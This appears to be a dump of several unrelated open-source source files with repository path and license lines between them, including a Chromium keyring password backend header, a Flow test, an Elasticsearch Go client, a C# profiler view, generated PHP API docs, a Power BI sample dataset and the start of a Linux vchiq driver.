// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_PASSWORD_MANAGER_NATIVE_BACKEND_GNOME_X_H_ #define CHROME_BROWSER_PASSWORD_MANAGER_NATIVE_BACKEND_GNOME_X_H_ #include <gnome-keyring.h> #include <string> #include "base/basictypes.h" #include "base/time/time.h" #include "chrome/browser/password_manager/password_store_factory.h" #include "chrome/browser/password_manager/password_store_x.h" #include "chrome/browser/profiles/profile.h" class PrefService; namespace autofill { struct PasswordForm; } // Many of the gnome_keyring_* functions use variable arguments, which makes // them difficult if not impossible to truly wrap in C. Therefore, we use // appropriately-typed function pointers and scoping to make the fact that we // might be dynamically loading the library almost invisible. As a bonus, we // also get a simple way to mock the library for testing. Classes that inherit // from GnomeKeyringLoader will use its versions of the gnome_keyring_* // functions. Note that it has only static fields. class GnomeKeyringLoader { protected: static bool LoadGnomeKeyring(); // Call a given parameter with the name of each function we use from GNOME // Keyring. Make sure to adjust the unit test if you change these. #define GNOME_KEYRING_FOR_EACH_FUNC(F) \ F(is_available) \ F(store_password) \ F(delete_password) \ F(find_itemsv) \ F(result_to_message) // Declare the actual function pointers that we'll use in client code. #define GNOME_KEYRING_DECLARE_POINTER(name) \ static typeof(&::gnome_keyring_##name) gnome_keyring_##name; GNOME_KEYRING_FOR_EACH_FUNC(GNOME_KEYRING_DECLARE_POINTER) #undef GNOME_KEYRING_DECLARE_POINTER // Set to true if LoadGnomeKeyring() has already succeeded. static bool keyring_loaded; private: #if defined(DLOPEN_GNOME_KEYRING) struct FunctionInfo { const char* name; void** pointer; }; // Make it easy to initialize the function pointers in LoadGnomeKeyring(). static const FunctionInfo functions[]; #endif // defined(DLOPEN_GNOME_KEYRING) }; // NativeBackend implementation using GNOME Keyring. class NativeBackendGnome : public PasswordStoreX::NativeBackend, public GnomeKeyringLoader { public: NativeBackendGnome(LocalProfileId id, PrefService* prefs); virtual ~NativeBackendGnome(); virtual bool Init() OVERRIDE; // Implements NativeBackend interface. virtual bool AddLogin(const autofill::PasswordForm& form) OVERRIDE; virtual bool UpdateLogin(const autofill::PasswordForm& form) OVERRIDE; virtual bool RemoveLogin(const autofill::PasswordForm& form) OVERRIDE; virtual bool RemoveLoginsCreatedBetween( const base::Time& delete_begin, const base::Time& delete_end) OVERRIDE; virtual bool GetLogins(const autofill::PasswordForm& form, PasswordFormList* forms) OVERRIDE; virtual bool GetLoginsCreatedBetween(const base::Time& get_begin, const base::Time& get_end, PasswordFormList* forms) OVERRIDE; virtual bool GetAutofillableLogins(PasswordFormList* forms) OVERRIDE; virtual bool GetBlacklistLogins(PasswordFormList* forms) OVERRIDE; private: // Adds a login form without checking for one to replace first. bool RawAddLogin(const autofill::PasswordForm& form); // Reads PasswordForms from the keyring with the given autofillability state. bool GetLoginsList(PasswordFormList* forms, bool autofillable); // Helper for GetLoginsCreatedBetween(). bool GetAllLogins(PasswordFormList* forms); // Generates a profile-specific app string based on profile_id_. std::string GetProfileSpecificAppString() const; // Migrates non-profile-specific logins to be profile-specific. void MigrateToProfileSpecificLogins(); // The local profile id, used to generate the app string. const LocalProfileId profile_id_; // The pref service to use for persistent migration settings. PrefService* prefs_; // The app string, possibly based on the local profile id. std::string app_string_; // True once MigrateToProfileSpecificLogins() has been attempted. bool migrate_tried_; DISALLOW_COPY_AND_ASSIGN(NativeBackendGnome); }; #endif // CHROME_BROWSER_PASSWORD_MANAGER_NATIVE_BACKEND_GNOME_X_H_
bsd-3-clause
JohnyDays/flow
tests/refinements/property.js
1303
/* @flow */ function a(x: {[key: string]: ?string}, y: string): string { if (x[y]) { return x[y]; } return ""; } function b(x: {y: {[key: string]: ?string}}, z: string): string { if (x.y[z]) { return x.y[z]; } return ""; } function c(x: {[key: string]: ?string}, y: {z: string}): string { if (x[y.z]) { return x[y.z]; } return ""; } function d(x: {y: {[key: string]: ?string}}, a: {b: string}): string { if (x.y[a.b]) { return x.y[a.b]; } return ""; } function a_array(x: Array<?string>, y: number): string { if (x[y]) { return x[y]; } return ""; } function b_array(x: {y: Array<?string>}, z: number): string { if (x.y[z]) { return x.y[z]; } return ""; } function c_array(x: Array<?string>, y: {z: number}): string { if (x[y.z]) { return x[y.z]; } return ""; } function d_array(x: {y: Array<?string>}, a: {b: number}): string { if (x.y[a.b]) { return x.y[a.b]; } return ""; } // --- name-sensitive havoc --- function c2(x: {[key: string]: ?string}, y: {z: string}): string { if (x[y.z]) { y.z = "HEY"; return x[y.z]; // error } return ""; } function c3(x: {[key: string]: ?string}, y: {z: string, a: string}): string { if (x[y.z]) { y.a = "HEY"; return x[y.z]; // ok } return ""; }
bsd-3-clause
seekingalpha/bosun
vendor/github.com/olivere/elastic/put_mapping.go
5940
// Copyright 2012-2015 Oliver Eilhard. All rights reserved. // Use of this source code is governed by a MIT-license. // See http://olivere.mit-license.org/license.txt for details. package elastic import ( "encoding/json" "fmt" "log" "net/url" "strings" "github.com/olivere/elastic/uritemplates" ) var ( _ = fmt.Print _ = log.Print _ = strings.Index _ = uritemplates.Expand _ = url.Parse ) // PutMappingService allows to register specific mapping definition // for a specific type. // See http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-put-mapping.html. type PutMappingService struct { client *Client pretty bool typ string index []string masterTimeout string ignoreUnavailable *bool allowNoIndices *bool expandWildcards string ignoreConflicts *bool timeout string bodyJson map[string]interface{} bodyString string } // NewPutMappingService creates a new PutMappingService. func NewPutMappingService(client *Client) *PutMappingService { return &PutMappingService{ client: client, index: make([]string, 0), } } // Index is a list of index names the mapping should be added to // (supports wildcards); use `_all` or omit to add the mapping on all indices. func (s *PutMappingService) Index(index ...string) *PutMappingService { s.index = append(s.index, index...) return s } // Type is the name of the document type. func (s *PutMappingService) Type(typ string) *PutMappingService { s.typ = typ return s } // Timeout is an explicit operation timeout. func (s *PutMappingService) Timeout(timeout string) *PutMappingService { s.timeout = timeout return s } // MasterTimeout specifies the timeout for connection to master. func (s *PutMappingService) MasterTimeout(masterTimeout string) *PutMappingService { s.masterTimeout = masterTimeout return s } // IgnoreUnavailable indicates whether specified concrete indices should be // ignored when unavailable (missing or closed). func (s *PutMappingService) IgnoreUnavailable(ignoreUnavailable bool) *PutMappingService { s.ignoreUnavailable = &ignoreUnavailable return s } // AllowNoIndices indicates whether to ignore if a wildcard indices // expression resolves into no concrete indices. // This includes `_all` string or when no indices have been specified. func (s *PutMappingService) AllowNoIndices(allowNoIndices bool) *PutMappingService { s.allowNoIndices = &allowNoIndices return s } // ExpandWildcards indicates whether to expand wildcard expression to // concrete indices that are open, closed or both. func (s *PutMappingService) ExpandWildcards(expandWildcards string) *PutMappingService { s.expandWildcards = expandWildcards return s } // IgnoreConflicts specifies whether to ignore conflicts while updating // the mapping (default: false). func (s *PutMappingService) IgnoreConflicts(ignoreConflicts bool) *PutMappingService { s.ignoreConflicts = &ignoreConflicts return s } // Pretty indicates that the JSON response be indented and human readable. func (s *PutMappingService) Pretty(pretty bool) *PutMappingService { s.pretty = pretty return s } // BodyJson contains the mapping definition. func (s *PutMappingService) BodyJson(mapping map[string]interface{}) *PutMappingService { s.bodyJson = mapping return s } // BodyString is the mapping definition serialized as a string. func (s *PutMappingService) BodyString(mapping string) *PutMappingService { s.bodyString = mapping return s } // buildURL builds the URL for the operation. func (s *PutMappingService) buildURL() (string, url.Values, error) { var err error var path string // Build URL: Typ MUST be specified and is verified in Validate. if len(s.index) > 0 { path, err = uritemplates.Expand("/{index}/_mapping/{type}", map[string]string{ "index": strings.Join(s.index, ","), "type": s.typ, }) } else { path, err = uritemplates.Expand("/_mapping/{type}", map[string]string{ "type": s.typ, }) } if err != nil { return "", url.Values{}, err } // Add query string parameters params := url.Values{} if s.pretty { params.Set("pretty", "1") } if s.ignoreUnavailable != nil { params.Set("ignore_unavailable", fmt.Sprintf("%v", *s.ignoreUnavailable)) } if s.allowNoIndices != nil { params.Set("allow_no_indices", fmt.Sprintf("%v", *s.allowNoIndices)) } if s.expandWildcards != "" { params.Set("expand_wildcards", s.expandWildcards) } if s.ignoreConflicts != nil { params.Set("ignore_conflicts", fmt.Sprintf("%v", *s.ignoreConflicts)) } if s.timeout != "" { params.Set("timeout", s.timeout) } if s.masterTimeout != "" { params.Set("master_timeout", s.masterTimeout) } return path, params, nil } // Validate checks if the operation is valid. func (s *PutMappingService) Validate() error { var invalid []string if s.typ == "" { invalid = append(invalid, "Type") } if s.bodyString == "" && s.bodyJson == nil { invalid = append(invalid, "BodyJson") } if len(invalid) > 0 { return fmt.Errorf("missing required fields: %v", invalid) } return nil } // Do executes the operation. func (s *PutMappingService) Do() (*PutMappingResponse, error) { // Check pre-conditions if err := s.Validate(); err != nil { return nil, err } // Get URL for request path, params, err := s.buildURL() if err != nil { return nil, err } // Setup HTTP request body var body interface{} if s.bodyJson != nil { body = s.bodyJson } else { body = s.bodyString } // Get HTTP response res, err := s.client.PerformRequest("PUT", path, params, body) if err != nil { return nil, err } // Return operation response ret := new(PutMappingResponse) if err := json.Unmarshal(res.Body, ret); err != nil { return nil, err } return ret, nil } // PutMappingResponse is the response of PutMappingService.Do. type PutMappingResponse struct { Acknowledged bool `json:"acknowledged"` }
mit
mohdmasd/slimtune
CoreVis/HotSpots.cs
5633
using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Data; using System.Linq; using System.Text; using System.Windows.Forms; using UICore; namespace SlimTuneUI.CoreVis { [DisplayName("Hotspots")] public partial class HotSpots : UserControl, IVisualizer { ProfilerWindowBase m_mainWindow; Connection m_connection; Snapshot m_snapshot; //drawing stuff Font m_functionFont = new Font(SystemFonts.DefaultFont.FontFamily, 12, FontStyle.Bold); Font m_objectFont = new Font(SystemFonts.DefaultFont.FontFamily, 9, FontStyle.Regular); class ListTag { public ListBox Right; public double TotalTime; } public event EventHandler Refreshed; public string DisplayName { get { return "Hotspots"; } } public UserControl Control { get { return this; } } public Snapshot Snapshot { get { return m_snapshot; } } public bool SupportsRefresh { get { return true; } } public HotSpots() { InitializeComponent(); HotspotsList.Tag = new ListTag(); } public bool Initialize(ProfilerWindowBase mainWindow, Connection connection, Snapshot snapshot) { if(mainWindow == null) throw new ArgumentNullException("mainWindow"); if(connection == null) throw new ArgumentNullException("connection"); m_mainWindow = mainWindow; m_connection = connection; m_snapshot = snapshot; UpdateHotspots(); return true; } public void OnClose() { } public void RefreshView() { var rightTag = HotspotsList.Tag as ListTag; if(rightTag != null) RemoveList(rightTag.Right); UpdateHotspots(); Utilities.FireEvent(this, Refreshed); } private void UpdateHotspots() { HotspotsList.Items.Clear(); using(var session = m_connection.DataEngine.OpenSession(m_snapshot.Id)) using(var tx = session.BeginTransaction()) { //find the total time consumed var totalQuery = session.CreateQuery("select sum(call.Time) from Call call where call.ChildId = 0"); var totalTimeFuture = totalQuery.FutureValue<double>(); //find the functions that consumed the most time-exclusive. These are hotspots. var query = session.CreateQuery("from Call c inner join fetch c.Parent where c.ChildId = 0 order by c.Time desc"); query.SetMaxResults(20); var hotspots = query.Future<Call>(); var totalTime = totalTimeFuture.Value; (HotspotsList.Tag as ListTag).TotalTime = totalTime; foreach(var call in hotspots) { if(call.Time / totalTime < 0.01f) { //less than 1% is not a hotspot, and since we're ordered by Time we can exit break; } HotspotsList.Items.Add(call); } tx.Commit(); } } private bool UpdateParents(Call child, ListBox box) { using(var session = m_connection.DataEngine.OpenSession(m_snapshot.Id)) using(var tx = session.BeginTransaction()) { var query = session.CreateQuery("from Call c inner join fetch c.Parent where c.ChildId = :funcId order by c.Time desc") .SetInt32("funcId", child.Parent.Id); var parents = query.List<Call>(); double totalTime = 0; foreach(var call in parents) { if(call.ParentId == 0) return false; totalTime += call.Time; box.Items.Add(call); } (box.Tag as ListTag).TotalTime = totalTime; tx.Commit(); } return true; } private void RefreshTimer_Tick(object sender, EventArgs e) { //UpdateHotspots(); } private void RemoveList(ListBox list) { if(list == null) return; RemoveList((list.Tag as ListTag).Right); ScrollPanel.Controls.Remove(list); } private void CallList_SelectedIndexChanged(object sender, EventArgs e) { ListBox list = sender as ListBox; RemoveList((list.Tag as ListTag).Right); //create a new listbox to the right ListBox lb = new ListBox(); lb.Size = list.Size; lb.Location = new Point(list.Right + 4, 4); lb.IntegralHeight = false; lb.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left; lb.FormattingEnabled = true; lb.DrawMode = DrawMode.OwnerDrawFixed; lb.ItemHeight = HotspotsList.ItemHeight; lb.Tag = new ListTag(); lb.Format += new ListControlConvertEventHandler(CallList_Format); lb.SelectedIndexChanged += new EventHandler(CallList_SelectedIndexChanged); lb.DrawItem += new DrawItemEventHandler(CallList_DrawItem); if(UpdateParents(list.SelectedItem as Call, lb)) { ScrollPanel.Controls.Add(lb); ScrollPanel.ScrollControlIntoView(lb); (list.Tag as ListTag).Right = lb; } } private void CallList_Format(object sender, ListControlConvertEventArgs e) { Call call = e.ListItem as Call; e.Value = call.Parent.Name; } private void CallList_DrawItem(object sender, DrawItemEventArgs e) { ListBox list = sender as ListBox; Call item = list.Items[e.Index] as Call; int splitIndex = item.Parent.Name.LastIndexOf('.'); string functionName = item.Parent.Name.Substring(splitIndex + 1); string objectName = "- " + item.Parent.Name.Substring(0, splitIndex); double percent = 100 * item.Time / (list.Tag as ListTag).TotalTime; string functionString = string.Format("{0:0.##}%: {1}", percent, functionName); Brush brush = Brushes.Black; if((e.State & DrawItemState.Selected) == DrawItemState.Selected) brush = Brushes.White; e.DrawBackground(); e.Graphics.DrawString(functionString, m_functionFont, brush, new PointF(e.Bounds.X, e.Bounds.Y)); e.Graphics.DrawString(objectName, m_objectFont, brush, new PointF(e.Bounds.X + 4, e.Bounds.Y + 18)); e.DrawFocusRectangle(); } } }
mit
bibich/thelia.github.io
api/master/Thelia/Action/Brand.html
12926
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="robots" content="index, follow, all" /> <title>Thelia\Action\Brand | </title> <link rel="stylesheet" type="text/css" href="../../stylesheet.css"> </head> <body id="class"> <div class="header"> <ul> <li><a href="../../classes.html">Classes</a></li> <li><a href="../../namespaces.html">Namespaces</a></li> <li><a href="../../interfaces.html">Interfaces</a></li> <li><a href="../../traits.html">Traits</a></li> <li><a href="../../doc-index.html">Index</a></li> </ul> <div id="title"></div> <div class="type">Class</div> <h1><a href="../../Thelia/Action.html">Thelia\Action</a>\Brand</h1> </div> <div class="content"> <p> class <strong>Brand</strong> extends <a href="../../Thelia/Action/BaseAction.html"><abbr title="Thelia\Action\BaseAction">BaseAction</abbr></a> implements <abbr title="Symfony\Component\EventDispatcher\EventSubscriberInterface">EventSubscriberInterface</abbr></p> <div class="description"> <p>Class Brand</p> <p> </p> </div> <h2>Methods</h2> <table> <tr> <td class="type"> mixed </td> <td class="last"> <a href="#method_genericToggleVisibility">genericToggleVisibility</a>(<abbr title="Propel\Runtime\ActiveQuery\ModelCriteria">ModelCriteria</abbr> $query, <a href="../../Thelia/Core/Event/ToggleVisibilityEvent.html"><abbr title="Thelia\Core\Event\ToggleVisibilityEvent">ToggleVisibilityEvent</abbr></a> $event) <p>Toggle visibility for an object</p> </td> <td><small>from&nbsp;<a href="../../Thelia/Action/BaseAction.html#method_genericToggleVisibility"><abbr title="Thelia\Action\BaseAction">BaseAction</abbr></a></small></td> </tr> <tr> <td class="type"> </td> <td class="last"> <a href="#method_create">create</a>(<a href="../../Thelia/Core/Event/Brand/BrandCreateEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandCreateEvent">BrandCreateEvent</abbr></a> $event) <p> </p> </td> <td></td> </tr> <tr> <td class="type"> </td> <td class="last"> <a href="#method_update">update</a>(<a href="../../Thelia/Core/Event/Brand/BrandUpdateEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandUpdateEvent">BrandUpdateEvent</abbr></a> $event) <p>process update brand</p> </td> <td></td> </tr> <tr> <td class="type"> </td> <td class="last"> <a href="#method_toggleVisibility">toggleVisibility</a>(<a href="../../Thelia/Core/Event/Brand/BrandToggleVisibilityEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandToggleVisibilityEvent">BrandToggleVisibilityEvent</abbr></a> $event) <p>Toggle Brand visibility</p> </td> <td></td> </tr> <tr> <td class="type"> mixed </td> <td class="last"> <a href="#method_updateSeo">updateSeo</a>(<a href="../../Thelia/Core/Event/UpdateSeoEvent.html"><abbr title="Thelia\Core\Event\UpdateSeoEvent">UpdateSeoEvent</abbr></a> $event) <p>Change Brand SEO</p> </td> <td></td> </tr> <tr> <td class="type"> </td> <td class="last"> <a href="#method_delete">delete</a>(<a href="../../Thelia/Core/Event/Brand/BrandDeleteEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandDeleteEvent">BrandDeleteEvent</abbr></a> $event) <p> </p> </td> <td></td> </tr> <tr> <td class="type"> </td> <td class="last"> <a href="#method_updatePosition">updatePosition</a>(<a href="../../Thelia/Core/Event/UpdatePositionEvent.html"><abbr title="Thelia\Core\Event\UpdatePositionEvent">UpdatePositionEvent</abbr></a> $event) <p> </p> </td> <td></td> </tr> <tr> <td class="type"> static&nbsp; </td> <td class="last"> <a href="#method_getSubscribedEvents">getSubscribedEvents</a>() <p> </p> </td> <td></td> </tr> </table> <h2>Details</h2> <h3 id="method_genericToggleVisibility"> <div class="location">in <a href="../../Thelia/Action/BaseAction.html#method_genericToggleVisibility"><abbr title="Thelia\Action\BaseAction">BaseAction</abbr></a> at line 94</div> <code> public mixed <strong>genericToggleVisibility</strong>(<abbr title="Propel\Runtime\ActiveQuery\ModelCriteria">ModelCriteria</abbr> $query, <a href="../../Thelia/Core/Event/ToggleVisibilityEvent.html"><abbr title="Thelia\Core\Event\ToggleVisibilityEvent">ToggleVisibilityEvent</abbr></a> $event)</code> </h3> <div class="details"> <p>Toggle visibility for an object</p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><abbr title="Propel\Runtime\ActiveQuery\ModelCriteria">ModelCriteria</abbr></td> <td>$query</td> <td> </td> </tr> <tr> <td><a href="../../Thelia/Core/Event/ToggleVisibilityEvent.html"><abbr title="Thelia\Core\Event\ToggleVisibilityEvent">ToggleVisibilityEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> <h4>Return Value</h4> <table> <tr> <td>mixed</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_create"> <div class="location">at line 34</div> <code> public <strong>create</strong>(<a href="../../Thelia/Core/Event/Brand/BrandCreateEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandCreateEvent">BrandCreateEvent</abbr></a> $event)</code> </h3> <div class="details"> <p> </p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><a href="../../Thelia/Core/Event/Brand/BrandCreateEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandCreateEvent">BrandCreateEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_update"> <div class="location">at line 53</div> <code> public <strong>update</strong>(<a href="../../Thelia/Core/Event/Brand/BrandUpdateEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandUpdateEvent">BrandUpdateEvent</abbr></a> $event)</code> </h3> <div class="details"> <p>process update brand</p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><a href="../../Thelia/Core/Event/Brand/BrandUpdateEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandUpdateEvent">BrandUpdateEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_toggleVisibility"> <div class="location">at line 78</div> <code> public <strong>toggleVisibility</strong>(<a href="../../Thelia/Core/Event/Brand/BrandToggleVisibilityEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandToggleVisibilityEvent">BrandToggleVisibilityEvent</abbr></a> $event)</code> </h3> <div class="details"> <p>Toggle Brand visibility</p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><a href="../../Thelia/Core/Event/Brand/BrandToggleVisibilityEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandToggleVisibilityEvent">BrandToggleVisibilityEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_updateSeo"> <div class="location">at line 97</div> <code> public mixed <strong>updateSeo</strong>(<a href="../../Thelia/Core/Event/UpdateSeoEvent.html"><abbr title="Thelia\Core\Event\UpdateSeoEvent">UpdateSeoEvent</abbr></a> $event)</code> </h3> <div class="details"> <p>Change Brand SEO</p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><a href="../../Thelia/Core/Event/UpdateSeoEvent.html"><abbr title="Thelia\Core\Event\UpdateSeoEvent">UpdateSeoEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> <h4>Return Value</h4> <table> <tr> <td>mixed</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_delete"> <div class="location">at line 102</div> <code> public <strong>delete</strong>(<a href="../../Thelia/Core/Event/Brand/BrandDeleteEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandDeleteEvent">BrandDeleteEvent</abbr></a> $event)</code> </h3> <div class="details"> <p> </p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><a href="../../Thelia/Core/Event/Brand/BrandDeleteEvent.html"><abbr title="Thelia\Core\Event\Brand\BrandDeleteEvent">BrandDeleteEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_updatePosition"> <div class="location">at line 111</div> <code> public <strong>updatePosition</strong>(<a href="../../Thelia/Core/Event/UpdatePositionEvent.html"><abbr title="Thelia\Core\Event\UpdatePositionEvent">UpdatePositionEvent</abbr></a> $event)</code> </h3> <div class="details"> <p> </p> <p> </p> <div class="tags"> <h4>Parameters</h4> <table> <tr> <td><a href="../../Thelia/Core/Event/UpdatePositionEvent.html"><abbr title="Thelia\Core\Event\UpdatePositionEvent">UpdatePositionEvent</abbr></a></td> <td>$event</td> <td> </td> </tr> </table> </div> </div> <h3 id="method_getSubscribedEvents"> <div class="location">at line 118</div> <code> static public <strong>getSubscribedEvents</strong>()</code> </h3> <div class="details"> <p> </p> <p> </p> <div class="tags"> </div> </div> </div> <div id="footer"> Generated by <a href="http://sami.sensiolabs.org/" target="_top">Sami, the API Documentation Generator</a>. </div> </body> </html>
mit
wwojcik/Sylius
src/Sylius/Bundle/UserBundle/spec/Reloader/UserReloaderSpec.php
1079
<?php /* * This file is part of the Sylius package. * * (c) Paweł Jędrzejewski * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace spec\Sylius\Bundle\UserBundle\Reloader; use Doctrine\Common\Persistence\ObjectManager; use Sylius\Component\User\Model\UserInterface; use PhpSpec\ObjectBehavior; /** * @author Łukasz Chruściel <[email protected]> */ class UserReloaderSpec extends ObjectBehavior { function let(ObjectManager $objectManager) { $this->beConstructedWith($objectManager); } function it_is_initializable() { $this->shouldHaveType('Sylius\Bundle\UserBundle\Reloader\UserReloader'); } function it_implements_user_reloader_interface() { $this->shouldImplement('Sylius\Bundle\UserBundle\Reloader\UserReloaderInterface'); } function it_reloads_user($objectManager, UserInterface $user) { $objectManager->refresh($user)->shouldBeCalled(); $this->reloadUser($user); } }
mit
yduit/PowerBI-visuals
src/Clients/PowerBIVisualsPlayground/sampleDataViews/SalesByCountryData.ts
5374
/* * Power BI Visualizations * * Copyright (c) Microsoft Corporation * All rights reserved. * MIT License * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the ""Software""), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ /// <reference path="../_references.ts"/> module powerbi.visuals.sampleDataViews { import DataViewTransform = powerbi.data.DataViewTransform; export class SalesByCountryData extends SampleDataViews implements ISampleDataViewsMethods { public name: string = "SalesByCountryData"; public displayName: string = "Sales By Country"; public visuals: string[] = ['default']; private sampleData = [ [742731.43, 162066.43, 283085.78, 300263.49, 376074.57, 814724.34], [123455.43, 40566.43, 200457.78, 5000.49, 320000.57, 450000.34] ]; private sampleMin: number = 30000; private sampleMax: number = 1000000; private sampleSingleData: number = 55943.67; public getDataViews(): DataView[] { var fieldExpr = powerbi.data.SQExprBuilder.fieldDef({ schema: 's', entity: "table1", column: "country" }); var categoryValues = ["Australia", "Canada", "France", "Germany", "United Kingdom", "United States"]; var categoryIdentities = categoryValues.map(function (value) { var expr = powerbi.data.SQExprBuilder.equal(fieldExpr, powerbi.data.SQExprBuilder.text(value)); return powerbi.data.createDataViewScopeIdentity(expr); }); // Metadata, describes the data columns, and provides the visual with hints // so it can decide how to best represent the data var dataViewMetadata: powerbi.DataViewMetadata = { columns: [ { displayName: 'Country', queryName: 'Country', type: powerbi.ValueType.fromDescriptor({ text: true }) }, { displayName: 'Sales Amount (2014)', isMeasure: true, format: "$0,000.00", queryName: 'sales1', type: powerbi.ValueType.fromDescriptor({ numeric: true }), objects: { dataPoint: { fill: { solid: { color: 'purple' } } } }, }, { displayName: 'Sales Amount (2015)', isMeasure: true, format: "$0,000.00", queryName: 'sales2', type: powerbi.ValueType.fromDescriptor({ numeric: true }) } ] }; var columns = [ { source: dataViewMetadata.columns[1], // Sales Amount for 2014 values: this.sampleData[0], }, { source: dataViewMetadata.columns[2], // Sales Amount for 2015 values: this.sampleData[1], } ]; var dataValues: DataViewValueColumns = DataViewTransform.createValueColumns(columns); var tableDataValues = categoryValues.map(function (countryName, idx) { return [countryName, columns[0].values[idx], columns[1].values[idx]]; }); return [{ metadata: dataViewMetadata, categorical: { categories: [{ source: dataViewMetadata.columns[0], values: categoryValues, identity: categoryIdentities, }], values: dataValues }, table: { rows: tableDataValues, columns: dataViewMetadata.columns, }, single: { value: this.sampleSingleData } }]; } public randomize(): void { this.sampleData = this.sampleData.map((item) => { return item.map(() => this.getRandomValue(this.sampleMin, this.sampleMax)); }); this.sampleSingleData = this.getRandomValue(this.sampleMin, this.sampleMax); } } }
mit
penberg/linux
drivers/staging/vc04_services/interface/vchiq_arm/vchiq_arm.c
73481
// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause /* * Copyright (c) 2014 Raspberry Pi (Trading) Ltd. All rights reserved. * Copyright (c) 2010-2012 Broadcom. All rights reserved. */ #include <linux/kernel.h> #include <linux/module.h> #include <linux/sched/signal.h> #include <linux/types.h> #include <linux/errno.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/device.h> #include <linux/mm.h> #include <linux/highmem.h> #include <linux/pagemap.h> #include <linux/bug.h> #include <linux/completion.h> #include <linux/list.h> #include <linux/of.h> #include <linux/platform_device.h> #include <linux/compat.h> #include <linux/dma-mapping.h> #include <linux/rcupdate.h> #include <linux/delay.h> #include <linux/slab.h> #include <soc/bcm2835/raspberrypi-firmware.h> #include "vchiq_core.h" #include "vchiq_ioctl.h" #include "vchiq_arm.h" #include "vchiq_debugfs.h" #define DEVICE_NAME "vchiq" /* Override the default prefix, which would be vchiq_arm (from the filename) */ #undef MODULE_PARAM_PREFIX #define MODULE_PARAM_PREFIX DEVICE_NAME "." /* Some per-instance constants */ #define MAX_COMPLETIONS 128 #define MAX_SERVICES 64 #define MAX_ELEMENTS 8 #define MSG_QUEUE_SIZE 128 #define KEEPALIVE_VER 1 #define KEEPALIVE_VER_MIN KEEPALIVE_VER /* Run time control of log level, based on KERN_XXX level. */ int vchiq_arm_log_level = VCHIQ_LOG_DEFAULT; int vchiq_susp_log_level = VCHIQ_LOG_ERROR; struct user_service { struct vchiq_service *service; void *userdata; struct vchiq_instance *instance; char is_vchi; char dequeue_pending; char close_pending; int message_available_pos; int msg_insert; int msg_remove; struct completion insert_event; struct completion remove_event; struct completion close_event; struct vchiq_header *msg_queue[MSG_QUEUE_SIZE]; }; struct bulk_waiter_node { struct bulk_waiter bulk_waiter; int pid; struct list_head list; }; struct vchiq_instance { struct vchiq_state *state; struct vchiq_completion_data completions[MAX_COMPLETIONS]; int completion_insert; int completion_remove; struct completion insert_event; struct completion remove_event; struct mutex completion_mutex; int connected; int closing; int pid; int mark; int use_close_delivered; int trace; struct list_head bulk_waiter_list; struct mutex bulk_waiter_list_mutex; struct vchiq_debugfs_node debugfs_node; }; struct dump_context { char __user *buf; size_t actual; size_t space; loff_t offset; }; static struct cdev vchiq_cdev; static dev_t vchiq_devid; static struct vchiq_state g_state; static struct class *vchiq_class; static DEFINE_SPINLOCK(msg_queue_spinlock); static struct platform_device *bcm2835_camera; static struct platform_device *bcm2835_audio; static struct vchiq_drvdata bcm2835_drvdata = { .cache_line_size = 32, }; static struct vchiq_drvdata bcm2836_drvdata = { .cache_line_size = 64, }; static const char *const ioctl_names[] = { "CONNECT", "SHUTDOWN", "CREATE_SERVICE", "REMOVE_SERVICE", "QUEUE_MESSAGE", "QUEUE_BULK_TRANSMIT", "QUEUE_BULK_RECEIVE", "AWAIT_COMPLETION", "DEQUEUE_MESSAGE", "GET_CLIENT_ID", "GET_CONFIG", "CLOSE_SERVICE", "USE_SERVICE", 